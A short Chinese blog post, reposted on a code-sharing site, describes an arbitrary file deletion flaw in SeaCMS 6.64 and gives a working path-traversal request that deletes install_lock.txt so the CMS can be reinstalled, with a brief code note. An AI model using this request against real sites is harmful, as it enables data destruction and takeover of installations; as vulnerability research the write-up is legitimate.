码迷,mamicode.com
首页 > 其他好文 > 详细

seacms 任意文件删除

时间:2018-09-19 18:07:45      阅读:161      评论:0      收藏:0      [点我收藏+]

标签:重装   roc   参数   let   ext   alt   ffffff   图片   cto   

seacms 任意文件删除

http://172.16.173.242/seacms6.64/upload/admin/admin_template.php?action=del&filedir=../templets/../install/install_lock.txt

可以控制filedir参数进行任意文件删除

删除 install/install_lock.txt文件,然后可以重装seacms
技术分享图片

分析代码:

filedir参数必须以../template开头
技术分享图片

seacms 任意文件删除

标签:重装   roc   参数   let   ext   alt   ffffff   图片   cto   

原文地址:http://blog.51cto.com/13770310/2177226

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!